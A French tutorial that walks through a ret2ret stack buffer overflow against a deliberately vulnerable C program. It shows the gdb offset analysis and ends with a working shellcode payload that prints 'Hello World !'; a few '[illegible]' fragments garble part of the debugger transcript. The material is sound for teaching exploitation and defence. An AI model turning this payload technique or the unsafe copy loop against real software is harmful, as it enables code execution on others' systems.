

Sommaire

Le programme vulnérable

Cernons la faille

Exploitions la faille

1. Le programme vulnérable

Dans notre exemple c'est la fonction strcpy que nous allons recoder, fonction reconnue pour ses failles. Ca nous donne donc :

```
heurs@GITS:~/ret-ret$ cat faille_ret-ret.c
void cop(char * val){
    char buffer[64];
    int i;
    for (i=0; val[i]!=0; i++) buffer[i]=val[i];
    return;
}

int main(int argc, char ** argv) {
    if (argc<2) {
        printf("Utilisation : ./failles_ret-ret argument\n");
        exit(0);
    }
    cop(argv[1]);
    return 0;
}
```

Testons donc le programme :

```
heurs@GITS:~/ret-ret$ ./faille_ret-ret
Utilisation : ./failles_ret-ret argument
heurs@GITS:~/ret-ret$ ./faille_ret-ret aaaaaaaaaaaaaaaaaaaaaa
```

```
heurs@GITS:~/ret-ret$ ./faille_ret-ret
aaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaa
aaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaa
Erreur de segmentation
```

2. Cernons la faille

Excellent, nous avons un segmentation fault ! Nous allons donc débbuger le prog pour avoir des infos supplémentaires :

```
heurs@GITS:~/ret-ret$ gdb -q ./faille_ret-ret
Using host libthread_db library "/lib/libthread_db.so.1".
(gdb) disas main
```

Dump of assembler code for function main:

```
0x080483fa :    push    %ebp
0x080483fb :    mov     %esp,%ebp
0x080483fd :    sub     $0x8,%esp
0x08048400 :    and     $0xffffffff0,%esp
0x08048403 :    mov     $0x0,%eax
```

End of assembler dump.

```
(gdb) disas cop
```

Dump of assembler code for function cop:

```
0x080483c4 :    push    %ebp
0x080483c5 :    mov     %esp,%ebp
0x080483c7 :    sub     $0x58,%esp
0x080483ca :    movl    $0x0,0xfffffff4(%ebp)
0x080483d1 :    mov     0xfffffff4(%ebp),%eax
0x080483d4 :    add     0x8(%ebp),%eax
0x080483d7 :    cmpb    $0x0,(%eax)
0x080483da :    jne     0x80483de
```

```
0x080483dc :      jmp      0x80483f8
0x080483de :      lea      0xffffffffb8(%ebp),%eax
0x080483e1 :      mov      %eax,%edx
0x080483e3 :      add      0xffffffffb4(%ebp),%edx
0x080483e6 :      mov      0xffffffffb4(%ebp),%eax
0x080483e9 :      add      0x8(%ebp),%eax
0x080483ec :      movzbl   (%eax),%eax
0x080483ef :      mov      %al,(%edx)
0x080483f1 :      lea      0xffffffffb4(%ebp),%eax
0x080483f4 :      incl     (%eax)
0x080483f6 :      jmp      0x80483d1
```

```
0x080483f8 : leave
```

```
0x080483f9 : ret
```

End of assembler dump.

```
(gdb) b *cop+53
```

Breakpoint 1 at 0x80483f9

```
(gdb) r
```

[illegible][illegible]

aa

```
Starting program: /home/heurs/ret-ret/faille_ret-ret
```

aaa

[illegible]

aa
aaaaaaaaaa

Program received signal SIGSEGV, Segmentation fault.
0x080483d7 in cop ()

On trouve quelque chose d'intéressant ici, j'ai placé un breakpoint juste avant le ret, donc le programme aurait dû stopper son exécution ici avant de planter. Mais ce n'est pas ce qui s'est passé, il a planté avant.

Pour résoudre ce problème nous allons déjà déterminer de combien d'espace nous disposons avant la copie. Pour cela nous allons placer un breakpoint juste avant la copie du 1er octet, c'est à dire 0x080483ef : mov %al,(%edx) ainsi nous saurons à quelle adresse se trouve le 1er octet (elle est stockée dans edx). Et comme ebp pointe sur lui même, un simple calcul nous donnera la taille de notre espace :

```
heurs@GITS:~/ret-ret$ gdb -q ./faille_ret-ret
Using host libthread_db library "/lib/libthread_db.so.1".
(gdb) b *cop+43
```

```
Breakpoint 1 at 0x80483ef
(gdb) r aaaaaaaaaaaaaa
Starting program: /home/heurs/ret-ret/faille_ret-ret aaaaaaaaaaaaaa
```

```
Breakpoint 1, 0x080483ef in cop ()
(gdb) i r
eax                0x61          97
ecx                0x1            1
edx                0xbffffa70      -1073743248
ebx                0x4014a8c0      1075095744
esp                0xbffffa60      0xbffffa60
ebp                0xbffffab8      0xbffffab8
esi                0x40016540      1073833280
edi                0xbffffb24      -1073743068
eip                0x80483ef        0x80483ef
eflags             0x282          642
cs                 0x23           35
ss                 0x2b           43
ds                 0x2b           43
es                 0x2b           43
fs                 0x0            0
gs                 0x0            0
(gdb)
```

Si nous faisons le calcul : $ebp - edx = 0xbffffab8 - 0xbffffa70 = 72$

Nous avons donc un buffer de 72 octets :) et si nous voulons savoir quand eip sera écrasé il suffit de rajouter les 4 octets de la sauvegarde d'ebp, ainsi nous savons maintenant qu'il faudra écraser 76 octets avant d'écraser eip. Testons tout de même cela pour ne pas rester que sur la théorie :

```
heurs@GITS:~/ret-ret$ gdb -q ./faille_ret-ret
```

```
Using host libthread_db library "/lib/libthread_db.so.1".
(gdb) b *cop+53
Breakpoint 1 at 0x80483f9
(gdb) r `perl -e 'print "a" x 76`
Starting program: /home/heurs/ret-ret/faille_ret-ret `perl -e 'print "a" x
76``
```

```
Breakpoint 1, 0x080483f9 in cop ()
(gdb) x/3x $esp-4
0xbffffa78:      0x61616161      0x08048438      0xbffffbf5
(gdb)
```

Nous obtenons exactement le résultat souhaité. Soyons un peu plus "bourrin" et tentons d'écraser les deux valeurs suivantes, c'est à dire l'adresse de retour et le pointeur vers le 1er argument (argv[1]) :

```
(gdb) r `perl -e 'print "a" x 84`
```

The program being debugged has been started already.
Start it from the beginning? (y or n) y

```
Starting program: /home/heurs/ret-ret/faille_ret-ret `perl -e 'print "a" x 84`
```

```
Breakpoint 1, 0x080483f9 in cop ()
(gdb) x/3x $esp-4
0xbffffa78:      0x61616161      0x61616161      0xbffffb61
(gdb) x/c 0xbffffb61
0xbffffb61:      0 '\0'
```

Chose qui pourrait paraître étonnante au premier coup d'oeil, les 8 octets que nous voulions écraser ne le sont pas complètement. La raison est simple :

Quand nous avons écrasé l'octet du pointeur 0xbffffbf5 par 0xbffffb61 cela a changé l'endroit où nous allons chercher nos données à copier pour le remplacer par un pointeur sur un byte null. Voyant le byte null notre fonction de copie s'arrête croyant que c'est la fin de la chaîne. Ainsi les octets suivants du buffer ne seront pas copiés.

3. Exploitions la faille

Comme vous avez dû le remarquer nous pouvons écraser l'adresse de retour et la remplacer par l'adresse d'un shellcode que nous aurons codé. Mais une meilleure solution existe, comme l'adresse empilée juste après eip est l'adresse d'argv[1], nous pourrions faire un deuxième ret dessus et cela nous ferait directement sauter sur notre shellcode. Comme shellcode j'ai pris l'éternel "Hello World !", désolé, rien d'innovant :)

L'objectif est maintenant de trouver une adresse où sauter pour exécuter notre ret... Je trouve que l'adresse où nous avons placé notre dernier breakpoint convient très bien. Alors allons-y pour cette adresse (qui de plus est statique, donc fiable) :

```
heurs@GITS:~/ret-ret$ ./faille_ret-ret "`perl -e'print
"\x31\xc0\x31\xdb\x31\xc9\x31\xd2\xb0
\x04\xb3\x01\xeb\x05\x59\xb2\x0d\xcd\x80\xe8\xf6\xff\xff\xff\x48\x65\x6c\x6c\x
6f\x20\x57\x6f
\x72\x6c\x64\x20\x21" . "a" x 39 . "\xf9\x83\x04\x08"'`"
```

Hello World !

Notre shellcode fait 37 octets, donc $37 + 39 = 76$, le compte est bon.

Conclusion

Comme vous avez pu le voir, l'exploitation est relativement simple, mais cette simplicité cache une grande puissance, cette faille est exploitable à l'identique si vous travaillez avec

un noyau 2.6 récent (qui randomize donc les adresses de la pile et celles de libc). Il n'est donc pas négligable de connaître la portée de cette faille afin de vous protéger au mieux d'éventuelles erreurs de programmation.

Références

[Clad - Il est à l'origine de cette découverte](#)